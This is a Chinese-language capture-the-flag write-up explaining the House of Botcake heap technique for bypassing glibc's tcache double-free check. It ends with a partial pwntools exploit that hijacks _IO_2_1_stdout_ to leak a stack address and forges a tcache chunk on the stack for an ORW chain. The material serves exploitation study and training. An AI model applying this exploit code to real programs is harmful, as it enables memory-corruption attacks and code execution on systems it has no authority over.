在libc大于2.27版本之后,为了防止tcache攻击过于简单而引入了tcache_key,对应的位置是堆块的bk。当堆块被free进入tcache_bin后,如果遍历该大小的tcache_bin发现有相同地址的堆块就会触发double_free警告,从而被killed掉
而House of Botcake,充分利用了这一机制,如果将同一堆块一次free进unsorted_bin里(没有key),一次free进tcache_bin里,是不是就绕过检查了呢?这样就让double_free再度成为可能
这个题比较特殊,只有一次UAF和show的机会,所以我们只能把UAF和show作用于泄露libc,这样就可以找到_IO_2_1_stdout_,利用House of Botcake将_IO_FILE的_IO_write_base和_IO_write_ptr修改为environ,environ+8,通过puts泄露add的栈地址,从而获得ret的地址。再次free目标堆块和辅助堆块,再次通过House of Botcake修改目标堆块的fd为add_ret地址,申请到栈上的同时往栈布置orw链即可
#gdb.attach(p) #leak stack and fake stack chunk delete(7) #this is prev chunk,which is used to be added with chunk 8,becoming a larger chunk that can be double free add(0x80,b'a') #0,leave a place to target chunk,index 8 delete(8) #this time,the 8th chunk has been double free,which is in the list of tcache,and it will be used to overwrite the fd of 8th chunk by overlapping gdb.attach(p) add(0x70,b'a') #1 add(0x70,p64(0) + p64(0x91) + p64(IO_stdout)) #2,chunk expend,change fd to IO_stdout add(0x80,b'a') #3,which fd has been changed to IO_stdout, # gdb.attach(p) add(0x80,p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ + 8)) #4,edit IO_stdout to leak stack stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.success('stack==>' + hex(stack)) stack_base = stack - 0x158 log.success('stack_base==>' + hex(stack_base)) add_ret = stack_base + 0x30 log.success('add_ret==>' + hex(add_ret)) delete(3) #free victim chunk delete(2) #free the chunk that can change fd of victim chunk add(0x70,p64(0) + p64(0x91) + p64(add_ret)) #2,fake stack chunk